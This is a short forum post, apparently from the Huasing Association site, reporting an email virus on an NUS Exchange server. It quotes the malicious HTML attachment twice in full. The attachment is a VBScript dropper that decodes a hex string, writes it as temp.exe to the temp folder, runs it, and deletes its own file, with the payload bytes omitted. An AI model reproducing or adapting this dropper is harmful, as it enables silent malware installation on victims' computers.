Email Virus attacked NUS exchange server......
the email contains such a html attachemtn
Please wait...
<script language='vbscript'>
on error resume next
set a=createobject("wscript.shell")
set b=createobject("scripting.filesystemobject")
co=0
if (err.number<>0) then
co=1
window.open(document.location.pathname)
end if
set c=b.getspecialfolder(2)
d=replace(document.location.pathname,"%20"," ")
e=c &"\temp.exe"
<此处略过若干千字节,为temp.exe文件内容>
set f=b.createtextfile(e,true)
f.write h(g)
f.close
a.run e,false
window.settimeout "b.deletefile d,true",500
window.settimeout "window.close",500
function h(st)
for i=1 to len(st) step 2
h=h & chr("&h"&mid(st,i,2))
next
end function </script><html>Tinh` cho khong bieu' khong</html>
Please wait...
<script language='vbscript'>
on error resume next
set a=createobject("wscript.shell")
set b=createobject("scripting.filesystemobject")
co=0
if (err.number<>0) then
co=1
window.open(document.location.pathname)
end if
set c=b.getspecialfolder(2)
d=replace(document.location.pathname,"%20"," ")
e=c &"\temp.exe"
<此处略过若干千字节,为temp.exe文件内容>
set f=b.createtextfile(e,true)
f.write h(g)
f.close
a.run e,false
window.settimeout "b.deletefile d,true",500
window.settimeout "window.close",500
function h(st)
for i=1 to len(st) step 2
h=h & chr("&h"&mid(st,i,2))
next
end function </script><html>Tinh` cho khong bieu' khong</html>
Huasing Association 1999 - 2013